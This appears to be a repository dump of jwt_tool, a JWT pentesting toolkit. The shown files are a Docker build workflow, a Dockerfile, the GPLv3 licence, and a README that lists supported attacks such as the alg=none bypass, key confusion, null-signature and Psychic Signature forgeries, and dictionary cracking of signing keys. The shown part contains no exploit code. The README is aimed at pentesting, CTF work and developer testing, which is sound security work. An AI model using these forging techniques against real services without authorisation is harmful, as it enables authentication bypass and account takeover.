├── .github └── workflows │ └── builddocker.yml ├── Dockerfile ├── LICENSE ├── README.md ├── common-headers.txt ├── common-payloads.txt ├── jwks-common.txt ├── jwt-common.txt ├── jwt_tool.py ├── requirements.txt └── setup.txt /.github/workflows/builddocker.yml: -------------------------------------------------------------------------------- 1 | name: Build and Publish Docker image 2 | 3 | on: 4 | release: 5 | types: [published] 6 | 7 | jobs: 8 | push_to_registry: 9 | name: Push Docker image to Docker Hub 10 | runs-on: ubuntu-latest 11 | steps: 12 | - name: Check out the repo 13 | uses: actions/checkout@v2 14 | 15 | - name: Log in to Docker Hub 16 | uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9 17 | with: 18 | username: ${{ secrets.DOCKER_HUB_USERNAME }} 19 | password: ${{ secrets.DOCKER_HUB_ACCESS_TOKEN }} 20 | 21 | - name: Extract metadata (tags, labels) for Docker 22 | id: meta 23 | uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38 24 | with: 25 | images: ticarpi/jwt_tool 26 | 27 | - name: Build and push Docker image 28 | uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc 29 | with: 30 | context: . 31 | push: true 32 | tags: ${{ steps.meta.outputs.tags }} 33 | labels: ${{ steps.meta.outputs.labels }} 34 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8-alpine 2 | WORKDIR /opt 3 | COPY . /opt/jwt_tool 4 | WORKDIR /opt/jwt_tool 5 | RUN apk add gcc musl-dev 6 | RUN python3 -m pip install -r requirements.txt 7 | ENTRYPOINT ["python3","jwt_tool.py"] -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # The JSON Web Token Toolkit v2 2 | >*jwt_tool.py* is a toolkit for validating, forging, scanning and tampering JWTs (JSON Web Tokens). 3 | 4 | ![jwt_tool version](https://img.shields.io/badge/version-v2.3.0-blue) ![python version](https://img.shields.io/badge/python-v3.6+-green) 5 | 6 | ![logo](https://user-images.githubusercontent.com/19988419/100555535-18598280-3294-11eb-80ed-ca5a0c3455d6.png) 7 | 8 | Its functionality includes: 9 | * Checking the validity of a token 10 | * Testing for known exploits: 11 | * (CVE-2015-2951) The ***alg=none*** signature-bypass vulnerability 12 | * (CVE-2016-10555) The ***RS/HS256*** public key mismatch vulnerability 13 | * (CVE-2018-0114) ***Key injection*** vulnerability 14 | * (CVE-2019-20933/CVE-2020-28637) ***Blank password*** vulnerability 15 | * (CVE-2020-28042) ***Null signature*** vulnerability 16 | * (CVE-2022-21449) ***Psychic Signature*** ECDSA vulnerability 17 | * Scanning for misconfigurations or known weaknesses 18 | * Fuzzing claim values to provoke unexpected behaviours 19 | * Testing the validity of a secret/key file/Public Key/JWKS key 20 | * Identifying ***weak keys*** via a High-speed ***Dictionary Attack*** 21 | * Forging new token header and payload contents and creating a new signature with the **key** or via another attack method 22 | * Timestamp tampering 23 | * RSA and ECDSA key generation, and reconstruction (from JWKS files) 24 | * Rate-limiting for all attacks 25 | * ...and lots more! 26 | 27 | --- 28 | 29 | ## Audience 30 | This tool is written for **pentesters**, who need to check the strength of the tokens in use, and their susceptibility to known attacks. A range of tampering, signing and verifying options are available to help delve deeper into the potential weaknesses present in some JWT libraries. 31 | It has also been successful for **CTF challengers** - as CTFs seem keen on JWTs at present. 32 | It may also be useful for **developers** who are using JWTs in projects, but would like to test for stability and for known vulnerabilities when using forged tokens. 33 | 34 | --- 35 | 36 | ## Requirements 37 | This tool is written natively in **Python 3** (version 3.6+) using the common libraries, however various cryptographic funtions (and general prettiness/readability) do require the installation of a few common Python libraries. 38 | *(An older Python 2.x version of this tool is available on the legacy branch for those who need it, although this is no longer be supported or updated)* 39 | 40 | --- 41 | 42 | ## Installation 43 | 44 | ### Docker 45 | The preferred usage for jwt_tool is with the [official Dockerhub-hosted jwt_tool docker image](https://hub.docker.com/r/ticarpi/jwt_tool) 46 | The base command for running this is as follows: 47 | Base command for running jwt_tool: 48 | `docker run -it --network "host" --rm -v "${PWD}:/tmp" -v "${HOME}/.jwt_tool:/root/.jwt_tool" ticarpi/jwt_tool` 49 | 50 | By using the above command you can tag on any other arguments as normal. 51 | Note that local files in your current working directory will be mapped into the docker container's /tmp directory, so you can use them using that absolute path in your arguments. 52 | i.e. 53 | */tmp/localfile.txt* 54 | 55 | ### Manual Install 56 | Installation is just a case of downloading the `jwt_tool.py` file (or `git clone` the repo). 57 | (`chmod` the file too if you want to add it to your *$PATH* and call it from anywhere.) 58 | 59 | `$ git clone https://github.com/ticarpi/jwt_tool` 60 | 